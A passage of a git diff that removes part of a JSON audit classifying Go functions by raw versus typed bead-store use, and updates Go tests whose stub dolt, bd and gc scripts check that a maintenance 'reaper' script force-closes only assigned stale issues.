-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw open order-tracking List (listCanonicalOpenOrderTrackingBeads)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "listCanonicalOpenOrderTrackingBeads",
-   "notes": "Builds the per-store open order-tracking index from listCanonicalOpenOrderTrackingBeads. RAW_BY_DESIGN order-tracking gate helper; keeps raw beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) entriesForStore(store beads.Store, storeKey string) (map[string]orderTrackingSummary, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) legacyCityStoreForTarget",
-   "line": "926",
-   "verdict": "ROOT",
-   "objops": "none-direct (opens/caches store)",
-   "other": "OPENS_STORE,RIG_STORES_MAP",
-   "param": "stores (map) / store via m.storeFn",
-   "callees": "none",
-   "notes": "Resolves and opens (via m.storeFn) the legacy city store for rig-order fallback, caching it in the per-tick stores map. It OPENS a store; it is a sub-root of dispatch's per-tick composition. No object op itself. ROOT-like store opener; returns the raw beads.Store to dispatch.",
-   "sig": "func (m *memoryOrderDispatcher) legacyCityStoreForTarget(cityPath string, target execStoreTarget, stores map[string]beads.Store) (beads.Store, bool)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "listCanonicalRecentOrderTrackingHistoryBeads",
-   "line": "1455",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking history List (HandlesFor(store).Live.List Label:labelOrderTracking IncludeClosed)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "none",
-   "notes": "Lists recent order-tracking beads (open+closed) by labelOrderTracking, newest-first. Raw order-tracking List, not on the orders.Store front door. RAW_BY_DESIGN order-tracking history list helper; keeps raw beads.Store.",
-   "sig": "func listCanonicalRecentOrderTrackingHistoryBeads(store beads.Store) ([]beads.Bead, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "listCanonicalOpenOrderTrackingBeads",
-   "line": "1464",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw open order-tracking List (HandlesFor(store).Live.List Label:labelOrderTracking Status:open)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "none",
-   "notes": "Lists open order-tracking beads by labelOrderTracking. Raw order-tracking List, not on the orders.Store front door. RAW_BY_DESIGN order-tracking list helper; keeps raw beads.Store.",
-   "sig": "func listCanonicalOpenOrderTrackingBeads(store beads.Store) ([]beads.Bead, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) hasOpenWorkStrict",
-   "line": "1492",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-run work List (HandlesFor(store).Live.List Label:order-run:<scoped>)",
-   "other": "GRAPH,WORK_LIST",
-   "param": "store",
-   "callees": "storeHasOpenDescendants",
-   "notes": "Strict single-flight gate: lists order-run:<scoped> work (tracking beads + wisp roots) and walks wisp subtrees for open descendants. Raw order-domain work gate plus graph walk, not on the orders.Store front door. RAW_BY_DESIGN order single-flight gate; keeps raw beads.Store.",
-   "sig": "func (m *memoryOrderDispatcher) hasOpenWorkStrict(store beads.Store, scopedName string) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) hasOpenWorkInStoresStrict",
-   "line": "1774",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-run work gate (fan-out)",
-   "other": "GRAPH,WORK_LIST,RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "hasOpenWorkStrict",
-   "notes": "Fans hasOpenWorkStrict across the store slice. RAW_BY_DESIGN order single-flight gate; keeps []beads.Store.",
-   "sig": "func (m *memoryOrderDispatcher) hasOpenWorkInStoresStrict(stores []beads.Store, scopedName string) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "storeHasOpenDescendants",
-   "line": "1574",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (order-wisp graph descendant check)",
-   "other": "GRAPH,WORK_LIST",
-   "param": "store",
-   "callees": "storeHasOpenDescendantsByWalk",
-   "notes": "Reports whether a wisp root has any open descendant, via the gc.root_bead_id membership List then the authoritative graph/ParentID walk. Graph/work check used by the order gates and sweep, not an order object op on the front door. Needs raw store for graph reads. RAW_BY_DESIGN graph descendant check; keeps raw beads.Store.",
-   "sig": "func storeHasOpenDescendants(store beads.Store, rootID string, skip func(beads.Bead) bool) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "storeHasOpenDescendantsByWalk",
-   "line": "1613",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (order-wisp graph descendant walk)",
-   "other": "GRAPH,WORK_LIST",
-   "param": "store",
-   "callees": "orderWispParentChildren(via reader),orderWispGraphDependentChildren(via reader)",
-   "notes": "Authoritative O(tree) ParentID + graph.v2 dependent walk for open descendants. Graph/work traversal supporting the order gates/sweep. RAW_BY_DESIGN graph descendant walk; keeps raw beads.Store.",
-   "sig": "func storeHasOpenDescendantsByWalk(store beads.Store, rootID string, skip func(beads.Bead) bool) (bool, error)"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "cmdOrderRun",
-   "line": "564",
-   "verdict": "ROOT",
-   "objops": "ORDER:tracking-bead-record-via-callees",
-   "other": "OPENS_STORE,RIG_STORES_MAP",
-   "param": "store(local beads.OrdersStore)",
-   "callees": "doOrderRunExec(none),doOrderRunExecTracked(store),doOrderRunWithJSON(store)",
-   "notes": "Composition root: opens the order-class store via openOrderStoreForOrder(cityPath,cfg,a,...) (returns beads.OrdersStore) and the events provider, then dispatches to the exec/formula paths. The order front door orders.NewStore(store) should be constructed here once and threaded into doOrderRunExecTracked/doOrderRunWithJSON. Itself does no direct object op; checks store.Store==nil only.",
-   "sig": "func cmdOrderRun(name, rig string, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderRun",
-   "line": "619",
-   "verdict": "MIXED",
-   "objops": "ORDER:passthrough",
-   "other": "GRAPH,WORK_UPDATE",
-   "param": "store",
-   "callees": "doOrderRunWithJSON(store)",
-   "notes": "Pure passthrough wrapper forwarding the OrdersStore to doOrderRunWithJSON (a MIXED callee). No direct op; inherits MIXED because the callee needs both the order front door AND the raw store (graph routing, molecule.Instantiate, store.Update). Convert to take front door + residual raw store mirroring doOrderRunWithJSON.",
-   "sig": "func doOrderRun(aa []orders.Order, name, rig, cityPath string, store beads.OrdersStore, ep events.Provider, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderRunWithJSON",
-   "line": "635",
-   "verdict": "MIXED",
-   "objops": "ORDER:CreateRunClosed(orders.NewStore(store).CreateRunClosed at L752)",
-   "other": "GRAPH,WORK_UPDATE,WORK_LIST",
-   "param": "store",
-   "callees": "doOrderRunExecTracked(store),prepareOrderWispRecipe(store)[out-of-file],applyGraphRouting(store)[out-of-file],molecule.Instantiate(store)[out-of-file]",
-   "notes": "ORDER op = orders.NewStore(store).CreateRunClosed (tracking bead). Residual raw store: prepareOrderWispRecipe(ctx,store,...) recipe compile, applyGraphRouting(...,store,...) (GRAPH), molecule.Instantiate(ctx,store,...) (work/molecule creation), store.Update(rootID,update) (WORK_UPDATE label/metadata on wisp root). Keep raw store for graph+molecule+work-update; take *orders.Store for the CreateRunClosed.",
-   "sig": "func doOrderRunWithJSON(aa []orders.Order, name, rig, cityPath string, store beads.OrdersStore, ep events.Provider, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderRunExecTracked",
-   "line": "777",
-   "verdict": "ORDER_ONLY",
-   "objops": "ORDER:CreateRun,SetCursor,SetOutcome,CloseRun (front:=orders.NewStore(store) at L800)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "store used ONLY through front:=orders.NewStore(store) for CreateRun(L801)/SetCursor(L809)/SetOutcome(L823)/CloseRun(L806). No raw store op. Convert param store beads.OrdersStore -> orders *orders.Store.",
-   "sig": "func doOrderRunExecTracked(a orders.Order, cityPath string, cfg *config.City, store beads.OrdersStore, ep events.Provider, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "orderLastRunFn",
-   "line": "893",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:last-run-cursor (orders.LastRunFuncForStore(store))",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Order cooldown/last-run runtime helper: hands the raw beads.Store to orders.LastRunFuncForStore which scans order-run:<name> beads. Documented raw-by-design (cursor/last-run order runtime helper). Stays on raw beads.Store.",
-   "sig": "func orderLastRunFn(store beads.Store) orders.LastRunFunc"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderHistory",
-   "line": "1332",
-   "verdict": "ORDER_ONLY",
-   "objops": "ORDER:passthrough(RecentRuns via resolver)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "doOrderHistoryWithStoreResolver(store-via-closure)",
-   "notes": "Wraps a single beads.OrdersStore in a resolver closure and forwards to doOrderHistoryWithStoreResolver; the only store op downstream is orders.NewStore(store).RecentRuns. No raw residual. Convert to *orders.Store.",
-   "sig": "func doOrderHistory(name, rig string, aa []orders.Order, store beads.OrdersStore, stdout io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderHistoryWithStoreResolver",
-   "line": "1338",
-   "verdict": "ORDER_ONLY",
-   "objops": "ORDER:passthrough",
-   "other": "NONE",
-   "param": "(resolver-returned beads.OrdersStore)",
-   "callees": "doOrderHistoryWithStoresResolver(store-via-closure)",
-   "notes": "Adapts a single-store resolver to the multi-store resolver and forwards. The resolved beads.OrdersStore is used only for orders.NewStore(store).RecentRuns downstream. No raw residual.",
-   "sig": "func doOrderHistoryWithStoreResolver(name, rig string, aa []orders.Order, resolveStore orderStoreResolver, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderHistoryWithStoresResolverJSON",
-   "line": "1352",
-   "verdict": "ORDER_ONLY",
-   "objops": "ORDER:RecentRuns(orders.NewStore(store).RecentRuns at L1387)",
-   "other": "NONE",
-   "param": "store(loop var, beads.OrdersStore from resolveStores)",
-   "callees": "(none)",
-   "notes": "For each resolved beads.OrdersStore it skips nil (store.Store==nil field check, not an op) then calls orders.NewStore(store).RecentRuns(a.ScopedName(),0). No raw store op. The resolver should yield *orders.Store (or this should construct front doors per resolved store).",
-   "sig": "func doOrderHistoryWithStoresResolverJSON(name, rig string, aa []orders.Order, resolveStores orderStoresResolver, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "bdCursor",
-   "line": "1673",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:event-cursor-read(store.List label order:<name> + orders.MaxSeqFromLabels)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Reads order event-cursor beads via raw store.List(label \"order:\"+orderName, IncludeClosed, TierBoth) and folds via orders.MaxSeqFromLabels. Documented raw-by-design order cursor runtime helper. Stays on raw beads.Store.",
-   "sig": "func bdCursor(store beads.Store, orderName string) (uint64, error)"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "bdCursorAcrossStores",
-   "line": "1693",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:event-cursor-read(fans bdCursor)",
-   "other": "WORK_LIST",
-   "param": "stores(variadic beads.Store)",
-   "callees": "bdCursor(store)",
-   "notes": "Fans bdCursor over a variadic []beads.Store taking the max seq. Same raw-by-design order cursor helper; called from doOrderCheckWithStoresResolverScopedJSON over unwrapped raw stores. Stays on raw beads.Store.",
-   "sig": "func bdCursorAcrossStores(orderName string, stores ...beads.Store) (uint64, error)"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "cmdOrderSweepNudgeMail",
-   "line": "1743",
-   "verdict": "ROOT",
-   "objops": "NUDGE:sweep-via-callees,MAIL:sweep-via-callees",
-   "other": "OPENS_STORE",
-   "param": "store(local beads.Store)",
-   "callees": "cmdOrderSweepNudgeMailDryRun(store),cmdOrderSweepNudgeMailRun(store)",
-   "notes": "Composition root: opens the work store via openStoreAtForCity(cityPath,cityPath), defers closeBeadStoreHandle, loads nudgequeue.LoadState, then dispatches to the dry-run/run sweep helpers. Front doors (nudge + mail class facades, or the nudgequeue.Store front door) should be constructed here once. Itself does no direct bead op.",
-   "sig": "func cmdOrderSweepNudgeMail(nudgeTTL, mailTTL time.Duration, dryRun, quiet bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "cmdOrderSweepNudgeMailDryRun",
-   "line": "1783",
-   "verdict": "MIXED",
-   "objops": "NUDGE:count-stale(countStaleNudgeMail via beads.NudgesStore{store}),MAIL:count-stale(beads.MailStore{store})",
-   "other": "NONE",
-   "param": "store",
-   "callees": "countStaleNudgeMail(beads.NudgesStore{store},beads.MailStore{store})[out-of-file]",
-   "notes": "Uses the raw store ONLY to build beads.NudgesStore{Store:store} and beads.MailStore{Store:store} for the out-of-file countStaleNudgeMail dry-run. No order/by-id/work/graph residual. MIXED because it spans BOTH the nudge facade and the mail facade (no single front door covers it; nudge front door is *nudgequeue.Store, mail has only the class facade). Take both class facades / front doors rather than the raw store.",
-   "sig": "func cmdOrderSweepNudgeMailDryRun(store beads.Store, nudgeState *nudgequeue.State, now time.Time, nudgeTTL, mailTTL time.Duration, quiet bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "cmdOrderSweepNudgeMailRun",
-   "line": "1801",
-   "verdict": "MIXED",
-   "objops": "NUDGE:sweep-stale-close(sweepStaleNudgeMail via beads.NudgesStore{store} SetMetadataBatch+Close),MAIL:sweep-stale-close(beads.MailStore{store} SetMetadata+Close)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleNudgeMail(beads.NudgesStore{store},beads.MailStore{store})[out-of-file]",
-   "notes": "Uses the raw store ONLY to build beads.NudgesStore{Store:store} and beads.MailStore{Store:store} for the out-of-file sweepStaleNudgeMail (closes stale nudge beads + read mail beads). No order/by-id/work/graph residual. MIXED because it spans BOTH the nudge facade and the mail facade. Take both class facades / front doors rather than the raw store.",
-   "sig": "func cmdOrderSweepNudgeMailRun(store beads.Store, nudgeState *nudgequeue.State, now time.Time, nudgeTTL, mailTTL time.Duration, quiet bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_order.go",
-   "name": "doOrderCheckWithStoresResolverScopedJSON",
-   "line": "1010",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:last-run+cursor reads(orders.LastRunAcrossStores,orders.CursorAcrossStores,bdCursorAcrossStores over unwrapped []beads.Store)",
-   "other": "WORK_LIST,RIG_STORES_MAP",
-   "param": "stores(local []beads.Store from unwrapOrdersStores(resolveStores(a)))",
-   "callees": "bdCursorAcrossStores(stores...)",
-   "notes": "Resolves per-order stores, unwraps to []beads.Store and performs ONLY order last-run/cursor reads: orders.LastRunAcrossStores(stores...), orders.CursorAcrossStores(stores...), and bdCursorAcrossStores for event orders. These are the documented order cursor/last-run runtime reads (raw-by-design). No mutating object op. The thin wrappers doOrderCheckWithStoresResolver (L1002) and doOrderCheckWithStoresResolverScoped (L1006) only forward into this and touch no store directly.",
-   "sig": "func doOrderCheckWithStoresResolverScopedJSON(cityPath string, cfg *config.City, aa []orders.Order, now time.Time, ep events.Provider, resolveStores orderStoresResolver, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "openNudgeBeadStore",
-   "line": "37",
-   "verdict": "ROOT",
-   "objops": "NUDGE(opens nudges-class store and resolves nudges front-door substrate)",
-   "other": "OPENS_STORE",
-   "param": "(none; returns beads.NudgesStore)",
-   "callees": "resolveNudgesStore,openStoreAtForCity",
-   "notes": "Composition root: opens the work store via openStoreAtForCity then routes through resolveNudgesStore and wraps as beads.NudgesStore. This is the one place the *nudgequeue.Store front door could be constructed once (nudgeFrontDoor(openNudgeBeadStore(cityPath))). Test seam (injectable var); tests substituting it must stay serial. Returns the typed wrapper, not a *nudgequeue.Store, today.",
-   "sig": "var openNudgeBeadStore = func(cityPath string) beads.NudgesStore"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "nudgeFrontDoor",
-   "line": "50",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(constructs nudge front door via nudgequeue.NewStore)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "This IS the nudge front-door constructor: takes the typed beads.NudgesStore wrapper and returns *nudgequeue.Store via nudgequeue.NewStore(store). Already typed (not raw beads.Store); it is the factory the other helpers funnel through, so it stays as the construction site rather than being converted to accept *nudgequeue.Store.",
-   "sig": "func nudgeFrontDoor(store beads.NudgesStore) *nudgequeue.Store"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "ensureQueuedNudgeBead",
-   "line": "54",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(ensureQueuedNudgeBead -> nudgeFrontDoor(store).Save)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor",
-   "notes": "Thin adapter; uses store ONLY to build the nudge front door and call Save. Could take sessions-style param *nudgequeue.Store directly. Already on typed beads.NudgesStore wrapper, no raw store residual.",
-   "sig": "func ensureQueuedNudgeBead(store beads.NudgesStore, item queuedNudge) (string, bool, error)"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "findQueuedNudgeBead",
-   "line": "61",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(findQueuedNudgeBead -> nudgeFrontDoor(store).FindBead)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor",
-   "notes": "Thin adapter resolving the OPEN nudge shadow bead via the front door's FindBead. Uses store only for nudge op. Could take *nudgequeue.Store directly.",
-   "sig": "func findQueuedNudgeBead(store beads.NudgesStore, nudgeID string) (beads.Bead, bool, error)"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "findAnyQueuedNudgeBead",
-   "line": "67",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(findAnyQueuedNudgeBead -> nudgeFrontDoor(store).FindBeadIncludingTerminal)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor",
-   "notes": "Thin adapter resolving the nudge shadow bead including terminal/closed via the front door. Uses store only for nudge op. Could take *nudgequeue.Store directly.",
-   "sig": "func findAnyQueuedNudgeBead(store beads.NudgesStore, nudgeID string) (beads.Bead, bool, error)"
-  },
-  {
-   "file": "nudge_beads.go",
-   "name": "markQueuedNudgeTerminal",
-   "line": "78",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(markQueuedNudgeTerminal -> nudgeFrontDoor(store).Terminalize)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor",
-   "notes": "Thin adapter; uses store ONLY to build the nudge front door and call Terminalize. Could take *nudgequeue.Store directly.",
-   "sig": "func markQueuedNudgeTerminal(store beads.NudgesStore, item queuedNudge, state, reason, commitBoundary string, now time.Time) error"
-  }
- ]
-}
\ No newline at end of file
diff --git a/examples/gastown/maintenance_scripts_test.go b/examples/gastown/maintenance_scripts_test.go
index 5714edaf97..c614bb1440 100644
--- a/examples/gastown/maintenance_scripts_test.go
+++ b/examples/gastown/maintenance_scripts_test.go
@@ -4252,7 +4252,7 @@ case "$*" in
     printf 'id\n'
     printf 'non-fatal warning from dolt\n' >&2
     ;;
-  *"SELECT id FROM "*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"issues"*)
     printf 'id\nga-old\n'
     printf 'non-fatal warning from dolt\n' >&2
     ;;
@@ -5177,7 +5177,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"issues"*)
     printf 'id\nga-old\n'
     ;;
   *"COUNT("*)
@@ -5249,10 +5249,10 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\nga-city\n'
     ;;
-  *"SELECT id FROM "*"rigdb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"rigdb"*"issues"*)
     printf 'id\nrig-old\n'
     ;;
   *"COUNT("*)
@@ -5290,6 +5290,9 @@ exit 0
 		t.Fatalf("ReadFile(bd log): %v", err)
 	}
 	bdLogText := string(bdData)
+	// ga-city is unassigned, so its stale close is bare. The assigned/unassigned
+	// force split itself is covered by
+	// TestReaperStaleAutoCloseForcesAssignedIssueButKeepsUnassignedBare.
 	if !strings.Contains(bdLogText, "close ga-city --reason stale:auto-closed by reaper") {
 		t.Fatalf("reaper did not close city-scoped stale issue:\n%s", bdLogText)
 	}
@@ -5310,6 +5313,101 @@ exit 0
 	}
 }
 
+// TestReaperStaleAutoCloseForcesAssignedIssueButKeepsUnassignedBare locks in the
+// per-row force decision: the reaper (order:reaper) closes an assigned stale bead
+// with --force because that is a cross-actor close under bd's guard, but closes an
+// open/unassigned stale bead bare so a concurrent re-claim after the select is
+// still rejected by the guard rather than clobbered.
+func TestReaperStaleAutoCloseForcesAssignedIssueButKeepsUnassignedBare(t *testing.T) {
+	cityDir := t.TempDir()
+	writeCityBeadsMetadata(t, cityDir, "citydb")
+	binDir := t.TempDir()
+	doltLog := filepath.Join(t.TempDir(), "dolt-args.log")
+	bdLog := filepath.Join(t.TempDir(), "bd.log")
+	gcLog := filepath.Join(t.TempDir(), "gc.log")
+
+	// The stale query selects id plus a per-row 'force'/'bare' flag computed from
+	// the bead's assignee. This stub stands in for Dolt and returns one assigned
+	// row (force) and one unassigned row (bare).
+	writeExecutable(t, filepath.Join(binDir, "dolt"), `#!/bin/sh
+printf '%s\n' "$*" >> "$DOLT_ARGS_LOG"
+case "$*" in
+  *"SHOW TABLES FROM"*"LIKE 'wisps'"*)
+    printf 'Tables_in_db\nwisps\n'
+    ;;
+  *"SHOW DATABASES"*)
+    printf 'Database\ncitydb\n'
+    ;;
+  *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
+    printf 'id\n'
+    ;;
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
+    printf 'id,close_mode\nga-assigned,force\nga-open,bare\n'
+    ;;
+  *"COUNT("*)
+    printf 'COUNT(*)\n0\n'
+    ;;
+esac
+exit 0
+`)
+	writeExecutable(t, filepath.Join(binDir, "bd"), `#!/bin/sh
+printf '%s\n' "$*" >> "$BD_CALL_LOG"
+exit 0
+`)
+	writeExecutable(t, filepath.Join(binDir, "gc"), `#!/bin/sh
+printf '%s\n' "$*" >> "$GC_CALL_LOG"
+exit 0
+`)
+
+	env := map[string]string{
+		"DOLT_ARGS_LOG":    doltLog,
+		"BD_CALL_LOG":      bdLog,
+		"GC_CALL_LOG":      gcLog,
+		"GC_CITY":          cityDir,
+		"GC_CITY_PATH":     cityDir,
+		"GC_DOLT_HOST":     "127.0.0.1",
+		"GC_DOLT_PORT":     "3307",
+		"GC_DOLT_USER":     "root",
+		"GC_DOLT_PASSWORD": "",
+		"PATH":             binDir + string(os.PathListSeparator) + os.Getenv("PATH"),
+	}
+
+	runScript(t, coreScriptPath("reaper.sh"), env)
+
+	doltData, err := os.ReadFile(doltLog)
+	if err != nil {
+		t.Fatalf("ReadFile(dolt log): %v", err)
+	}
+	// The reaper must ask Dolt for the per-row close mode; otherwise the stub's
+	// force/bare split would not reflect the real query.
+	if !strings.Contains(string(doltData), "CASE WHEN COALESCE(assignee, '') = '' THEN 'bare' ELSE 'force' END") {
+		t.Fatalf("stale query did not carry the per-row assignment-state flag:\n%s", doltData)
+	}
+
+	bdData, err := os.ReadFile(bdLog)
+	if err != nil {
+		t.Fatalf("ReadFile(bd log): %v", err)
+	}
+	bdLogText := string(bdData)
+	if !strings.Contains(bdLogText, "close ga-assigned --force --reason stale:auto-closed by reaper") {
+		t.Fatalf("reaper did not force-close the assigned stale issue:\n%s", bdLogText)
+	}
+	if !strings.Contains(bdLogText, "close ga-open --reason stale:auto-closed by reaper") {
+		t.Fatalf("reaper did not close the unassigned stale issue bare:\n%s", bdLogText)
+	}
+	if strings.Contains(bdLogText, "close ga-open --force") {
+		t.Fatalf("reaper force-closed an open/unassigned stale issue; it must stay bare:\n%s", bdLogText)
+	}
+
+	gcData, err := os.ReadFile(gcLog)
+	if err != nil {
+		t.Fatalf("ReadFile(gc log): %v", err)
+	}
+	if !strings.Contains(string(gcData), "closed:2") {
+		t.Fatalf("reaper summary did not report both stale closes:\n%s", gcData)
+	}
+}
+
 func TestReaperDoesNotStaleCloseIssueWithFutureExpiresAt(t *testing.T) {
 	cityDir := t.TempDir()
 	writeCityBeadsMetadata(t, cityDir, "citydb")
@@ -5330,7 +5428,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     case "$*" in
       *"JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at')) = ''"*)
         printf 'id\n'
@@ -5416,7 +5514,7 @@ case "$*" in
   *"gc:nudge"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\n'
     ;;
   *"COUNT("*)
@@ -5454,11 +5552,14 @@ exit 0
 		t.Fatalf("ReadFile(bd log): %v", err)
 	}
 	bdLogText := string(bdData)
-	if !strings.Contains(bdLogText, "close ga-expired") {
-		t.Fatalf("reaper did not close elapsed nudge bead:\n%s", bdLogText)
+	// The expired nudge bead is unassigned, so the reaper must close it bare; an
+	// inserted --force would defeat bd's cross-actor guard. Pin the full argv and
+	// assert --force is absent so a regression toward forcing is caught.
+	if !strings.Contains(bdLogText, "close ga-expired --reason ttl:expired by reaper") {
+		t.Fatalf("reaper did not close elapsed nudge bead with the expected bare argv:\n%s", bdLogText)
 	}
-	if !strings.Contains(bdLogText, "ttl:expired by reaper") {
-		t.Fatalf("reaper closed nudge bead without ttl:expired reason:\n%s", bdLogText)
+	if strings.Contains(bdLogText, "close ga-expired --force") {
+		t.Fatalf("reaper force-closed an unassigned expired nudge bead; the bare close must be preserved:\n%s", bdLogText)
 	}
 
 	gcData, err := os.ReadFile(gcLog)
@@ -5469,6 +5570,20 @@ exit 0
 	if !strings.Contains(gcLogText, "expired:1") {
 		t.Fatalf("reaper summary did not report expired:1:\n%s", gcLogText)
 	}
+
+	// The bare close above is only safe because the Step 3 expired-nudge query
+	// restricts to unassigned beads; that COALESCE(i.assignee,'')='' filter is
+	// the invariant that keeps the bare close out of bd's cross-actor guard.
+	// Pin it against the emitted SQL so a future edit that drops the filter
+	// while keeping the bare close fails here instead of silently leaking an
+	// assigned expired nudge at the next BD_VERSION bump.
+	doltData, err := os.ReadFile(doltLog)
+	if err != nil {
+		t.Fatalf("ReadFile(dolt args log): %v", err)
+	}
+	if !strings.Contains(string(doltData), "COALESCE(i.assignee, '') = ''") {
+		t.Fatalf("expired-nudge query dropped the unassigned filter; bare close would become cross-actor:\n%s", doltData)
+	}
 }
 
 func TestReaperDoesNotTTLCloseNonNudgeBeadWithElapsedExpiresAt(t *testing.T) {
@@ -5497,7 +5612,7 @@ case "$*" in
   *"gc:nudge"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     case "$*" in
       *"JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at')) = ''"*)
         printf 'id\n'
@@ -5575,7 +5690,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\nga-city\n'
     ;;
   *"COUNT("*)
@@ -5661,7 +5776,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\nga-city\n'
     ;;
   *"COUNT("*)
@@ -5734,10 +5849,10 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"citydb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"citydb"*"issues"*)
     printf 'id\nga-city\n'
     ;;
-  *"SELECT id FROM "*"wrongdb"*"issues"*)
+  *"SELECT id, CASE WHEN COALESCE(assignee"*"wrongdb"*"issues"*)
     printf 'id\nga-wrong\n'
     ;;
   *"COUNT("*)
@@ -5821,7 +5936,7 @@ case "$*" in
   *"STR_TO_DATE(JSON_UNQUOTE(JSON_EXTRACT(metadata, '$.expires_at'))"*)
     printf 'id\n'
     ;;
-  *"SELECT id FROM "*"issues"*)
